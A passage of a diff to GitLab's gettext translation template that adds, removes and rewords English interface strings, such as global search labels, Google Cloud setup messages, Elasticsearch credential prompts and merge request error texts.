@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
